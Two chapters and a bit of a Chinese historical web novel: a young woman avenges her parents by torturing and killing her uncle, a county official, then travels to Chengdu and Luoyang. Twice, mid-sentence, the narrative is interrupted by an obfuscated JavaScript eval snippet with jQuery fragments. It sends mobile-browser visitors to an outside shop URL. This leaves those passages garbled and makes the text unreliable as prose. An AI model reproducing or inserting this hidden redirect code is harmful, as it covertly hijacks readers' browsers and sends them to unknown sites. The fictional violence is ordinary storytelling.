回到现在,晏楚鹤看着镜中的自己,有些花了眼,她身上没一样东西是和从前家里有关的。
好在想证明身份不难。
“夫人那边的小娘子又带着木雕来了!”
是了,虽说晏楚鹤上回登门已是多年前的事,但鲜少有人会带着如此雕物上门,叫人印象深刻。更何况她这几年技艺愈发纯熟,身上带着的这件并蒂莲雕只比从前更精巧几分。
外头正门三道锁,守得紧如公堂;一进院便见假山流泉、花石玲珑,像怕人看不出主人的来历。虽比不得话本里描述的京城大宅,却在这陇西县中已属数一数二,比她家要大得多。她记得一年俸禄也不过几十两,竟也这般殷实。
“楚鹤,许久不见,个子都长高了不少。”说话的妇人语气温和,脸上全没什么笑意。这位县丞夫人便是她小姨晏季华,如今该叫王晏氏了。晏楚鹤对上小姨的目光,她收拾得体,眉眼间自有一分雍容气度,只是鼻侧间比记忆里多了两道细纹,想必这些年忧心太重,老得竟得比她娘还快些。
“你爹娘可还好?”
果然,吴老二和那里的官差合谋,一起吞占了他家的财产。不然,住的这么近的小姨怎么会不知道她爹娘的死讯。晏楚鹤垂下眼,准备将所经历的一切托盘而出。
晏季华原本以为二姐还生自己气,才派这小丫头送了个劳什子并蒂莲雕物恶心自己,此刻正在气头,却没想下一刻就从这丫头嘴里听到了那女人的死讯。
先前那一次不欢而散竟是永别。晏季华性子要强,自认为自己所为对得起任何人,是以最讨厌向人低头,可这时却是胸口一阵发闷,莫名的情绪涌上眼眶。她忙向自家侄女撇撇手,开口唇动了半天,却是什么也说不出来,只把木雕还给晏楚鹤。
晏楚鹤还想打听,她这木雕本就是怕小姨艰难,使了九成的心血留给小姨换钱用,这时见气氛,也识趣地离开,任由丫鬟带她转悠。这丫鬟年纪和她差不多大,做事很是细心。
“姑娘,担心石阶。”
“谢谢,姐姐叫什么名字?”
“唤奴婢小红便是。”
晏楚鹤没被人这样近地扶过,忙不迭地往后一退,她又不是断腿断脚走不得路,见小红的样子,她不由得好奇起来:“小红姐姐,你签的该不是卖身契?”
那叫做小红的丫头听岔了,惊讶地同她说,“姑娘怎么知道不是的?夫人心善,她屋里的人都使长工契,平日里还放假呢,也不知道是效仿哪处神仙地方,我们都很感念她。在陇西县,便是月钱少些,也有的是人为此抢着来县丞府里干活。”
晏楚鹤松了口气,小姨虽说和家里矛盾很多,到底还是没怎么变的。
问题恐怕就出在她那位当官的小姨夫上。晏楚鹤还是第一次接触这样的大官。足足有从九品呢。对她这种老百姓来说,压死她。
“小姨夫他忙吗?”
“王大人平日从官府回来便沐浴,沐浴便歇息,养生得很,与夫人感情也极好。”小红显然不想和她这个姑娘家聊那些后宅的事。
晏楚鹤拐着弯:“我娘从前借给小姨一本书,姐姐可否带我去书房看看。”这借口十分顺利,待请示过晏季华,小红就带着晏楚鹤到了她小姨的隔间。
晏楚鹤随口问道:“我记得我小姨她最爱吃腊肉,今儿来却没见到,小红姐姐可知是什么缘故?这陇西最不缺的就是交易的蕃人呀?”
“许是夫人换了口味罢。不过也怪,卖东西的蕃人近来倒越来越少。”
“我倒瞧着外头的蕃人比往年多了。”
小红惊讶晏楚鹤居然能发现,就听到晏楚鹤又说:“小红姐,你说,这吐蕃是不是要和咱们打起来了?”
正说着,门外一名年长侍卫路过,听见话头,笑着插言道:“怕甚么?若真要开战,大夏强兵在外,咱们这些百姓自有官府护佑,蕃人若敢来犯,保管他们吃不了兜着走。”
小红也点头附和,笑着安抚她:“姑娘多虑了,王大人每日都说边境稳得很,哪来的战事。”
“若真如此,便好。”晏楚鹤还要说些什么,却见这两人神色笃定,连笑意都带着天真。一时不知从何说起。
果然,她这种人就算提前知道战争也做不了什么——晏楚鹤把目光转移回书房里的账本。她找个由头支开小红后,就找到账本翻了又翻。
今年又是大旱又是洪涝,这县丞家里居然什么都不缺,更重要的东西,恐怕还在那位小姨夫手里。
晏楚鹤正琢磨着怎么开口,直接动手未免伤了小姨他们夫妇的感情。她身上药不多,又怕对方有底牌。罢了,走一步看一步。
晏楚鹤顺从地跟着丫鬟在院子里乱逛,装作没见过的样子呆了很久,这儿不大,一个假山小巧清雅,再往前就是个鱼池,旁边种了些松柏,又堆几块太湖石,再往前就是门洞。
门洞那经过两个人影,作官员打扮的中年男子正谄笑着,向身侧那位年轻人低声讨好。
晏楚鹤定睛一望,唇角几乎要抑不住弯起。
真是巧。
她摸了摸昨夜刚从中药铺子补的货,心想,让你跑得了第一回,跑不了第二回。
4. 万里风云来
路斐忽觉背脊一凉,旋即侧身,只见不远处一少女身着石青长袍罩着浅灰褙子,发髻用一根木簪子随意挽起,瞧着色调寡淡又寒酸,偏一双眼睛精神得发亮,见了他同猫见到耗子那般。
是前几日那个在洮阳城使毒的村姑,路斐心头一紧——他到底哪里得罪她了,她竟然跟踪他到了这儿?!
他尚在思量,身旁的王县丞仍旧满脸谄笑,絮絮叨叨:
“公子若想知这通往剑南的捷径,还得请小人岳丈指点一二。他老人家世代经商,这条古时候的走马道也是从他老人家那里听到的。
不过容小人多嘴,这剑南蜀地可不太平,多山多瘴,传言尚有前朝余孽——”
王县丞弯着腰,一边说一边侧着头小心翼翼地观察这位打京城来的公子哥,却见方才一脸冷傲的少年郎君突然神色大变,眉心紧蹙:“王大人若还有什么要说的,同我手下阿顺说便是,在下有事先行一步。”
方才还端正有礼的公子竟是话也没说完,快步越过他。
王县丞正发懵着,也顺着回头一看,可不就是今天来打秋风的、他夫人那边的外甥女——那丫头竟也脚下生风般拔腿追了出去,速度快的令人咋舌,他半点没反应过来。
“这……你家公子和我这外甥女认识?”
这两人一前一后,煞是奇怪。王县丞摸不着头脑,看向那公子留下的,名叫阿顺的小厮。先前还不苟言笑的小厮,这会儿正微张着的嘴,显然也是惊讶地不行。
“她是你的外甥女?!”不得了,这夺走公子初吻的女人,居然这王家小官的外甥女!阿顺想也没想,立刻追了上去。他得赶紧把这消息告诉自家公子才是。
前日,公子被那妖女挟持时,他隔着最远,瞧得没那么仔细,也就看到妖女凑到自家公子面前——公子支支吾吾地嗯嗯了几句,居然真把那妖女哄走了!再之后,自家公子又一反常态,立刻收拾带着他们几个离开,说什么“前朝的事情不参合了。”
那反应,绝对是初吻被妖女夺走了!他家公子年纪轻轻哪里都好,就是感情经历一片空白,同自家纯情的大老爷一个德行,也不知道是好是坏。
——
路斐一开始还算镇定地走着,脚步却越发快。跑了半程,气息微乱,回头一看,那女人依旧神采飞扬,也就懒得再跑,停了下来。
自从上次大意后,他随身携带着那药葫芦的解药,想到此才稍觉安心,就担心这女人不止那一种毒。他的个性向来懒得拐弯抹角,冷冷抬眼道:
“阁下到底是什么人?为何突然对我下毒又解毒?”
晏楚鹤及时刹住了车,她笑着解释:“也不是什么要命的毒,只是怕公子计较我拿了那点黄金来追我罢了。”
“为了那点钱对我下毒?”
“不然呢,君子以德报怨,以和为贵,公子不妨原谅小女子这一次?”晏楚鹤嘴上说得歉意,神情却半分愧意也无,甚至不以为然地反问道,“真要说委屈,怕是我才对吧?公子那日明明答应次日一早同我相见,今儿怎地先跑到此地来了?”
嘶,路斐见此人满嘴歪理邪说,偏偏露出那副委屈样子……好像他真是什么负心汉一样。他那时答应她也只是缓兵之计。更何况,寻常人邀请别人绝不会是她这般吓人。
“孔子还说过,‘君子喻于义,小人喻于利。’姑娘既是为利的小人,那么在下又何必以德报怨同你守约?”
“这样啊,”晏楚鹤眯着眼,“公子想利用我诱出前朝余孽的行为,可不是什么君子所为。”
“我从来不自诩为君子。”
这点倒和她那神仙哥哥相当不同,兴许……眼前人之后会成为那个样子。
晏楚鹤还是不想放眼前的人离开,软声道:“好了好了,千错万错都是我之前太过分了!公子难道不好奇小女子有恃无恐的缘由?”
话音未落,那名叫阿顺的小厮已越过她,在路斐耳边低语几句。瞧着,那跑路的功夫竟比她刚刚还快几分。原本神情警惕的少年眉目稍缓,追他的村姑居然和这王县丞有牵连。
“我若说好奇,你也未必肯说。”
“如果是你的话,我会的。”
“?”路斐挑了挑眉,心中很是惊讶。
这女人他完全摸不透,一会追着他跟看到什么似的,一会又和他辩论之乎者也,让人厌烦……可她刚刚委屈的样子又好像是真的伤心,而此刻——目光专注地落在他身上,带着几分钟情,像是许久未见的老友一样。
她……难道真的很在意他?
路斐向来自信,但怎么想都不觉得自己这张脸有如此魅力,能让原先要下毒的杀手化干戈为玉帛。莫不是,这女人品味独特,就好他这款?!路斐垂下眼,似是要掩去什么,沉默良久,突然开口确认道:“你是王县丞的外甥女?”
“嗯,我小姨嫁给了王县丞,”
“那你和晏员外?”
晏楚鹤笑着自行开口:“他是我外祖父,和先前说给你的差不多,我姓晏,叫楚鹤。”
“好,晏楚鹤,我接下来只说一遍,信不信由你,”
“王县丞娶你小姨,是想走通你外祖父的捷径私运粮草军备,联系前朝余孽,”他顿了顿,见晏楚鹤露出惊讶,心满意足地接着说:“你外祖父一直不同意,他们一家便想着杀了了事,他们自己的人顶上接管这些。你父母也是因此被错杀。”
她想得没错,那场龙爬坡是人为的。
晏楚鹤掐着指头,迫使自己从记忆里回过神,看到眼前少年郎关切的眼神,眼前一亮。
这样果断的,让人猜不着目的的突然示好——倒是和她记忆里的神仙哥哥有几分相似。
“你为什么要告诉我这些?”
总不能说自己没见过这样的女子对她有点好奇,路斐道:“看重你的才能而已。说起来,晏楚鹤,你和前朝公主真是有缘,之前你提出的合作——”
“嫁去吐蕃吗?这件事不可以。”她笑着摇头拒绝了,又问,“王县丞的事情,你不举报吗?朝廷对前朝那些事的悬赏向来丰富。”
“哈哈,”路斐第一次意识到这家伙出身乡野的真切感,这人身上稀奇点太多了,只是认知上的局限必定不会困住她。
他乐意给她解释:“举报这个县丞有什么用,他虽然于你可以随意定人生死的父母官,但放眼洛阳京城,不过是王家的旁支远亲。没了他也会有王二王三。他背后是王家。那个靠着开国功勋获封镇国公的百年世家,当今王皇后的母家。”
晏楚鹤听他介绍,越发觉得这人和神仙哥哥一样,又问道,“如你所说,实际要害我父母的,也是王家?”
路斐不动声色地点点头,见她低头沉吟,便也不再说话,带着下属迅速离开。
晏楚鹤不认为自家人会蠢成这样,她小姨虽然贪图权力富贵嫁给这县丞,但她那外祖父素来忠君爱国,断不会助纣为虐扶持前朝余孽,小姨也不怎么可能。
再说,那人突然跟她说了这一番,要是神仙哥哥,她自然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790761|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
信;可换成一个年纪只比她大上一两岁,还想过利用她的少年,晏楚鹤当然不会轻信,一面之词不足为凭。
检验的方法不难。
当夜,晏楚鹤掀开帷帐下了榻。院中风过竹叶,沙沙作响,倒掩去她的动静。她绕过月门,避开巡灯的仆役。她在白日里搞清楚了县丞这三进院私宅的布局,那两个妾室,九个下人的位置也了如指掌。
夜色中,她沿着廊下阴影缓缓前行,轻巧掠过,来到书房门前。先用迷药制服看守,拿了钥匙直接进去。
王县丞和京城王家往来的信件被恭恭敬敬地摆在一端。路斐居然没有骗她。仇人,确实是王家。
作为县丞,他掌管陇西县里刑政,前些日子刚好抓了几个穷书生匠人。这些人在山里没日没夜地测地脉、记录山体、绘制岩层图,不过是想勘测地动龙爬坡这些天灾的规律,却村民视为“亵渎地神”,抓了起来。
晏楚鹤稍一留神,便拼凑出了真相。
王县丞一边骂那些倒霉蛋不敬皇帝神明,一边心安理得地利用了他们的研究成果,预知了天灾的时间,再凭借着他和晏员外的关系,误导晏家商队在那个错误的时机经过岷山。
同时,他暗中指挥樵夫开垦山地、修筑暗沟,这举动还被州里的草包大人物夸赞,说是于排水有功呢。一切的目的,都是为了那夜暴雨倾盆时,山石松动,泥流顺着人为掘开的暗沟倾泻而下。天灾啊,好一个天灾,她爹娘的尸骨无人问津。
虽说君子报仇十年不晚,但她向来不喜欢隔夜仇。这屋隔壁就是王县丞的房间。他睡得早,小姨又是个爱熬夜读书的,这会儿还没来。
她不想和小姨多说,他们到底是夫妻,话本里这种情况最容易坏事。
于是,晏楚鹤像以往一样,用迷药搞晕了门口的那一个小厮,再大摇大摆地用同一条帕子,对他那位枕在床上的姨父再来一遍。
剩下的不用多说。
“官人,我那外甥女——楚鹤?发生什么了?!”晏季华的声音高了八度,她冲了进来,瞧见丈夫王县丞倒在地上,不省人事,口鼻间血流不止,身上的伤痕触目惊心。她连忙蹲下身,双手颤抖地打算试探丈夫的鼻息——还没碰到,被晏楚鹤拦住了。
昏黄的烛火将晏楚鹤手上的血迹照得清清楚楚,真相不言而喻。晏季华的眼中闪过一抹震惊,紧接着是复杂的情绪涌起,她的目光顺着那双染血的手缓缓抬起,落在晏楚鹤那张没什么表情的脸上。
晏楚鹤倒吸一口气,看样子,小姨这是在生气她连累了她?她懒得解释,只是松开对方的手腕,后退几步,好整以暇地看着自家小姨。
小姨和她记忆中的面孔相差太多。
晏楚鹤突然有些紧张了,她不由得握紧手中的帕子。同样的动作,她真的能对亲人也照做不误吗?神仙哥哥同她讲过“君子之于亲,孝悌而已矣”“伤亲者,不赦之恶”,但她所做一切,不过是为了报父母之仇……她正愣着,又听到了晏季华突然开口。
“……楚鹤,你出门往东走,告诉下人走水了。我有办法——”晏季华的声音发紧,她显然很紧张,说出的话像是在逼自己冷静镇定一样,“该死,他爹的,我姐姐怎么生了你这么个玩意,”
?
居然是要包庇她。
“放心,”晏楚鹤没把对方随口的斥责放在心上,她松了口气,笑着往地上瘫倒的男子又踹了一脚,只听到一声微弱的哀嚎。
“我怎么可能让这家伙死掉连累小姨你。”
5. (新增3k字后续)桑柘叶如雨
看到自家大胖相公没死,晏季华反而更加焦虑了。这家伙若是死了,这府里便是她说的算,还能想出法子为楚鹤遮掩一二。可若是没死,他一定会报复回来,楚鹤可就完了。
平心而论,晏季华认为王县丞并非十恶不赦之人,也不过是像大夏其他官僚一样偷税敛财,倒没做过什么伤天害命的事情。她和他多年夫妻,到底还有些感情……
可,晏楚鹤这丫头像极了她二姐。那个女人不会教出一个杀人犯,定是发生了什么她不知道的事情。晏季华心口乱跳,颤抖着手往头上的簪子摸去——她试图做好杀人的心理建设。
“放心,我怎么可能让这家伙死掉连累小姨你。”
晏季华循声看去,这丫头和她二姐差远了,脸上半分善意也无,眉宇间尽是不知从哪里学来的阴鸷。她眼睁睁地看着自家外甥女俯身继续先前的动作——往地上男人腿上划口子,那一手刀工哪怕是单手使都极其出色,空出的另一手则是扼住对方喉咙制止他发出声。不一会儿,那家伙已经彻底痛昏了过去。
晏楚鹤早就想好这家伙的罪名,自然还是勾结前朝。就像路斐先前说的一样,她不仅在书房里发现了王县丞给“前朝余孽大业盟”发的投诚密信,更有意思的是,她还发现这书房里有一条出城的密道。
虽说王县丞本来只是为王家办事,想的不过是诈出前朝余孽立功。现在却算是证据确凿。
这在当今是死罪,但不至于诛连亲族。相反,他们这些大义灭亲的人还能得到翻倍的赏金。归根到底还是当今皇帝对此事极为忌惮。
思忖间,晏楚鹤快步到书房,三两下把先前翻到的账册信件摆在桌上当证据,又听小姨的,从箱子里取了些钱。
一切布置妥当,她信任晏季华。小姨的神态不似作假,估计是对她娘有愧疚,才会这样帮她吧?
晏楚鹤对此其实不怎么理解,人活着的时候没有好好珍惜,现在再做任何事都没意义。虽说如此,她心安理得地拜托晏季华配合行动。
次日一大早,县丞的外甥女‘晏楚鹤’从城门离开陇西。她小姨带上帷帽,身形和她极为相似。她只需要再悄悄从密道里瞒过人回来,晏楚鹤便没了嫌疑。
与此同时,晏楚鹤自己则是打扮得像男子一般,又用布巾蒙面,再往里衣塞了两圈绳子捆起来的干粮,看过去可不就是和王县丞差不多的身形。
她提着驴从密道里慢慢踱步。这小青驴通人性的很。他们挑了个人最多的时间,从秘道口的一处茅屋出现,这外面正好有几个过路人在乘凉,见她突然出现,惊讶地不行。晏楚鹤便装作惊慌失措地样子,跑得比身后的小青驴还快。
出发前不过简单吃了点,再加上这些负担,她跑得很是吃力。因此,一到无人荒道,她便卸下伪装,将干粮拆卸清楚,又翻身上了驴。原先被绑在驴背上的‘行李’这会儿则被丢在地上,叫小青驴拖着跑了好一段距离。
小青驴啊小青驴,真是辛苦你了,等忙完这一遭,回头姐姐带你去外祖父家里开荤!晏楚鹤也不在意驴能不能吃荤,她心里快意,尽管这份快意是建立在‘行李’里那人的煎熬上。
他早就被疼痛感折磨醒了过来,偏偏嘴上被捂着严实,什么声音都发不出来,只能眼睁睁地看着自己被地上那些尖锐石头给划破皮肉。
好在这样的煎熬没有持续太久,晏楚鹤一刀利落地划破麻袋,随即又反手用布带子迅速蒙住他的眼,嘴、手、脚这会全松了绑。
王县丞不顾疼痛,狼狈从地上爬起,向后连连退去,这才想去撕下布条,可晏楚鹤却轻轻一扯,他竟是什么也做不到。
这一路上的折磨,王县丞不敢质问,他想活下去,于是便期期艾艾地,装作一脸无辜地高喊着:“外甥女,你怕是误会了什么事,我冤枉啊!”
“是啊,我也搞不清楚你参与了多少,毕竟那些信件内容含糊不清,”晏楚鹤勾着嘴角,眼底笑意全无,“不过,我在刚刚已经确定了。”
“你,你这是什么意思。”王县丞眼里刚刚闪过的希望又消失了,他错愕地看着晏楚鹤。
“因为实在是太奇怪了,我这刀子明明抵在你身上,你好容易脱了绑,第一个念头却不是护身,也不是揭开眼上的布,反而是先往后退了几步——你一定是知道自己现在在哪里吧?”
王县丞之所以后退,无非是凭感觉猜到自己前头有险——他面前三步远的地方,可就是六七丈高的悬崖。
“你……你这算哪门子的歪理!”王县丞害怕极了,脚下却又不由自主往后挪了半步,直直撞上晏楚鹤的刀尖,这才不敢再动。
他说的确实也有几分道理,晏楚鹤笑着又道:“我也是在把你桌上那些地形图和暗渠相互对照偶然发现的,这里的风景真的很好,不但能瞧见泥流的去向,还能看清底下被冲的人模样。”
“晏丫头,你是说有人害你父母吗?就算是,也是京城的人做的,和我无关啊,我是你姨父,怎么会害——”
“是吗?”晏楚鹤拖着面前的脑袋俯下身,另一手掀开石边的草皮。下面是一截早已塌陷的人工渠口,她将水壶的水倒入这旁边的暗渠,那水珠自沟中滑落,撞到岩底,发出轻微的空洞声。
王县丞面色不受控制地一变。他自然知道这是什么声音。
“你了解晏家商队向来谨慎,如果没有你把水引下去,龙爬坡根本不会波及他们。”
风过山谷的呼声参杂进来,那夜满山泥石滚落大概也是这种声音吧。
“不用狡辩了,晏家商队到陇西县的那晚,你就站在这里,亲自欣赏自己扩大的那场龙爬坡,我说错了么?你这个人面兽心的走狗!”
……
六七丈不算很高,却足以让人站着望见谷底的所有动静,与死亡保持一层听不见的界限。晏楚鹤倚着一块凉石,看着那人的衣襟在水与石间被撕裂,像被扯散的布条。
……
正所谓,杀身以成仁……应该不是她这么用的吧?
叫她这些儒教大道理的人却是再也见不到了。
亲手杀人的滋味并未如传闻那般刺心,反倒空落落的。大仇得报的痛快也浅,毕竟王县丞,只不过是那些人的一把刀罢了。
王家人,
晏楚鹤默了片刻,便翻身上驴重新出发。
向南,先和老爷子见一面吧。
如今正是桑柘的时节。山风带着湿意,沿着沟壑吹上来。山脚的田畴里,蚕农正摘着新叶。只是年初大旱,又遭连日暴雨,桑叶颇显枯瘦,风中摇曳,竟有几分萧瑟。
晏楚鹤将沿路每一处人物记在心里。
就像在梦里时一样,梦中她随那“神仙哥哥”在未来的蜀地四处游历,见过发生战乱的洮阳城,见过被皇家随意残害的工匠……
她不觉得那些只是梦,那个神仙哥哥也一样……不得不说,那白月光般的神仙哥哥,出现在现实时和梦中区别实在明显。也不知下次再见面是什么时候,那少年公子会不会变得更像梦里的那副模样?
想到此处,她不由得有几分期许。
可惜,小姨先前听她说要找今儿来县丞府的公子,还以为她瞧上了人家,恨不得用亲身经历劝她门第有别。可当晏楚鹤问那公子姓甚名谁,居然连王县丞都不知道这公子姓什么,只知道他是从京城来的。
听那公子说话,多半是和王家对付的人。除此之外也没别的线索。这些时日后她倒是研究了一番这些世家大族。
王家她听过,王将军曾被派到她们这边陲小县,和吐蕃打了一场胜仗。不过那是十多年前的事了。王家力拒和亲的事她也有所耳闻,无论是杀害和亲公主还是联系前朝余孽,王家的目的不简单。她姑且将其归为主战派。
与之相对的则是主和派,亦或是保守派。那帮子儒生的事情她可是天天听外祖父还有神仙哥哥说起。
前不久,就有个倒霉的保守派大人物,为劝圣上节俭,触了龙鳞——那老皇帝偏将寺庙里掘出的枯骨奉作佛骨圣遗,大肆供奉三日三夜,奢靡至极。
这中书令顽固如石,一番直谏,结果从正三品的中书令“升”为从二品的益州大都督,名为迁官,实则实权尽收,形同罢黜。
也不知道自家外祖父闻此消息,又作何感想。
——
晏楚鹤一路南下,足足走了半月,方抵成都。此地属益州,自古号称“天府”,四时花木不凋,渠水分流入户。街道宽而不乱,瓦舍、酒肆、茶坊夹道相迎,全然不像战乱将来的样子。
晏楚鹤只觉稀奇,又寻到自家在西偏锦里巷的旧宅歇下。前院种桂,后院一方小塘,水清见底,可照人影。晏员外爱坐在回廊下,拿算盘敲着小节;偶尔有客登门,他亲自泡茶,一张笑脸总是精明不足,温厚有余。
不过眼下人去楼空,曾经三代同堂的宅子被荒废。也不知老人家收到信没有。
晏楚鹤将宅子重新清理一番,自己住下,雕了几件木活儿,拿去市上换了不少银钱。成都毕竟是大都会,行情虽薄,也胜过陇西。
这期间,她还收到小姨的家书。信里说,那王县丞忽然失踪,家中只寻得一条密道。她慌忙报官,虽宅产被查封,却因供出前朝余孽得了赏银。信末又言,正要往成都与外祖父会合。
晏楚鹤读罢,心头微动。事情也太过顺遂了。她在屋里踱了几步,实在是等得心烦,几次三番想自己直接上京。
可看到老头子那上锁的几口大箱子——晏楚鹤每每想到这箱子里的钱财可能将无人问津,便心痛不已——她怎么能先行一步呢?
终于,在桑叶都要落尽的时节,她的外祖父晏员外赶到了。老人穿着低调又贵气,身后只随两个下人,一男一女,都是老宅的长工。二人见她安然无恙,顿时泪眼汪汪。
老人家收到她的信,回来路上就知道她父母遇害的事情。晏楚鹤没让他老人家多休息,拉着对方在厅房坐下,把自己这些天的经历,除开梦啊什么的,一五一十地说了一遍。
“楚鹤,”老人沉吟片刻,叹道,“你应该去找那位路公子。”
晏楚鹤心里一咯噔:“是啊,那天下毒没得手,真是遗憾。”
“非也非也,”晏员外拍案而起,朗声道,“杀身以成仁,这大概就是你的命运啊。如你所说,眼下大夏与吐蕃的子民危在旦夕,战争一触即发。你若能去和亲,以你的才智,必能成大功——此乃护国之举!”
晏楚鹤预想过这种情况,外祖父很聪明,同她一样能分析出两国开战的未来,偏他又蠢,能说出这般子胡话。她冷笑一声,道:“您真是我亲外公?我瞧着不是,若我娘还在,定不会让我去。”
“妇人之见!”
“外祖父怕不是觉得自己大义凛然吧,孙女怎么只看到了个为了功名利益牺牲小辈的无耻老头!”
“你——你——”
果然,他外祖父生意虽大,倒底是啃外祖母留下的老本,骨子里比儒生还儒生。在言辞上甚至敌不过她,怪不得怪这次去江南也赔个精光。
“孙女可曾享受过公主待遇,凭什么要孙女去和亲?感情那些人享福就没带上我,如今要打起来了,反而第一个问罪我这个小老百姓?这算哪门子道义!”
“你这孩子,你已经杀了王县丞,你父母的仇也算报了,你还想怎么样?!”
“杀了王县丞就够了?孙女竟不知,外祖父平日里耳提面命,恨不得挂在嘴边的那些儒家道理,说是人人性命平等,倒不把京里的贵人算上!”
是了,以彼之矛,攻彼之盾果然奏效。只见她外祖父脸色铁青
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790762|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,恶狠狠地瞪着她,只自个儿抚这胸口缓了好几下,便转身回了书房。片刻后,他抱出一只旧漆匣,推到她面前。
“这是你外祖母在世时留下的钗子,本想给你小姨做嫁妆,不说她了。现在你妈妈走了,这便算是给你的好了,”他顿了顿,刚刚按下的怒意又涌了上来:“你既然这样有主见,那今后自己的婚事便自己做主。你若担得起,赶紧给我有多远滚多远。”
老头这是不愿意帮她相看好亲事了,哎呀,晏楚鹤可太难过了,难过地怎么也压不住嘴角的笑意。她接过那盒子,便立刻随意打开。
里头的钗子一看就非同凡品,金丝缠绕的手法古旧,又嵌了两寸青玉。钗头雕的是一枝并蒂莲,中间点着一粒微小的红珊瑚,好生精妙。晏楚鹤原本想卖了还钱的心也弱了几分。
罢了,她这些天已经把自己平日里做着玩的木雕都卖了个七七八八,倒也赚了不少。
那小青驴她本来打算换掉,可这半个月下来,这家伙吃得好、睡得香,连毛色都亮了几分。此刻正蹲在院子里,嘴里还叼着一根半截胡萝卜,嚼得“咯吱咯吱”响。
见晏楚鹤出来,小青驴立刻“咴——”地叫了声,摇着耳朵跑了两步,再脑袋一歪,蹭在她的袖子上。晏楚鹤被它拱得往后退了两步,忍不住笑出声,随即翻身上驴儿,背着那些行李就出发。
因为先前王县丞的事,她不大愿意回陇西走近路,算是小心点绕道走山路。再说,驴儿在山路上要比马有用多了。
上京之路并不顺利,她就算会点武艺,倒地还是孤身一人。因此不求速度,格外小心,只求一路安稳。
晏楚鹤到了哪,就在哪家客栈雕东西卖。虽说住得好、吃得好,但熬夜整钱,到底瘦了几圈。等到和亲公主身亡,洮阳城失陷的消息传来,她也不过走了一半路程。
是啊,洮阳城像梦里一样失陷了。那支军队饥渴无力,平日里被苛待惯了,就算这次,王将军为了军功亲自来统领,再也没人敢利用镇西军的事谋利,可是军心早散,平日缺乏训练的军队根本没有足以匹配大夏自大的实力。那些远离吐蕃,高坐朝堂的达官显贵中可没人想到会输。没人想到会输得这么快……这又不是她的错。现在的她什么也做不到。
向王家复仇,将自己的所学全都用上,改变这个新生又腐朽的王朝——
任重而道远。
她的梦局限于蜀地,接下来要离开蜀地,要去的地方会发生什么她一概不知。
晏楚鹤躺在破庙里,望着瓦缝漏下的星光,莫名又想起那如今怎么也见不到的神仙哥哥,还有早逝的父母,只觉孤单无比。
又是半个月,一人一驴累得半死,终于到了京都洛阳。城墙高耸,宫门雄伟,寺观道庙随处可见。街头河道清浅,木桥横跨,两岸茶肆酒楼林立,半点战事的影子都没有。晏楚鹤瞧着这繁华,她在梦里就见过大概,但亲眼看到,只觉得比成都县、陇西县都要强上许多。她那神仙哥哥描述的确实没有夸大。
晏楚鹤拿着“王县丞”给的通行文书,沿官道入城。这儿客栈价钱贵得离谱,她咬牙付了银子住下,那床都要比她家里的软上几分,叫人忘了烦恼,怎么也起不来,只想大睡一觉。
但眼下情况她必须起来。
她做的第一件事便是置办了身新行头,锦缎绣衣、轻纱帔帽,俨然京城的富贵少女。这成本比客栈房钱还叫人肉疼,却又是必要的投资。
她清楚自己的目标:先摸清京都雕物交易的去处。几番打听后,她锁定了城北的“嘉会行”。
与权贵私设的雅集不同,嘉会行白日对外开放,平民商贾只需缴押金便可入内。当然,这里来的权贵也少,估计找不到她想找到的那个人。真正的宝贝也不会让他们这些百姓有机会买走。
进来后,四周高梁柱撑起檐下挑灯,桌案、架子上摆满了琳琅满目的拍品。再往里的大堂内人声鼎沸,议价喊价声此起彼伏,行会人员在旁记录拍卖情况。晏楚鹤瞧了几件还算勾起她兴趣的雕物,全都是非卖品,说是要等着夜晚由权贵们高价拍卖。
不过,她又观察了一番,发现同样的做功,木雕石雕无人问津,玉雕牙雕却价比黄金。想来,除开收购者都为外行,大概是材质贵贱使然。
玉雕材质稀有温润,牙雕、象牙雕则以微型精致、题材雅致取胜,既可案头把玩,又寓意吉祥,深得文人雅士喜爱。
木雕石雕虽技艺精湛,却因原料普通、象征性弱,只能吸引小商人和学子拍得热闹。
晏楚鹤见自己预先想的不错,当即绕到了前台,笑着向管事自我介绍:“打扰,我家主人听说贵行慧眼识珠,特命我带他亲手雕的玉雕来。”
她特意换的那身装束起了作用——石青色细褙子,精致雕刻的簪子配上温润的水晶耳坠。
人看见只会想,连个“丫鬟”都如此打扮,这家主子只怕非富即贵。管事的心念一转,又听到是玉雕,忙笑着迎上楼去。虽说如此,见她一个丫头,还是不免狐疑。
待晏楚鹤打开那层层包裹的锦布,露出一角白玉,光影流动如水,那些狐疑顿时消失干净,竟先惊得他愣了片刻,忙派人去请专司鉴定的师傅。
琼华瑞鹤的玉屏风正立于案上,高约一尺,阔七寸,厚约一寸有余。整块羊脂白玉在烛光下泛着温润的光泽。屏风正面,一对仙鹤展翅而舞,羽毛层叠,灵动欲飞。
仙鹤周围,祥云缭绕,虚实相生。屏下的山水浮起,溪石相间,玉纹天成。边缘镌一首小诗,与画面浑然一体。
负责鉴宝的刘师傅是个年纪不大,本事一般的中年人,他正在为那块被低价拍走的木雕惋惜,一听又来个“大师”,看派来的竟是个小姑娘,只觉可笑,这家掌柜想来不识货,能是什么好——
好绝。
6. 飞藿共徘徊
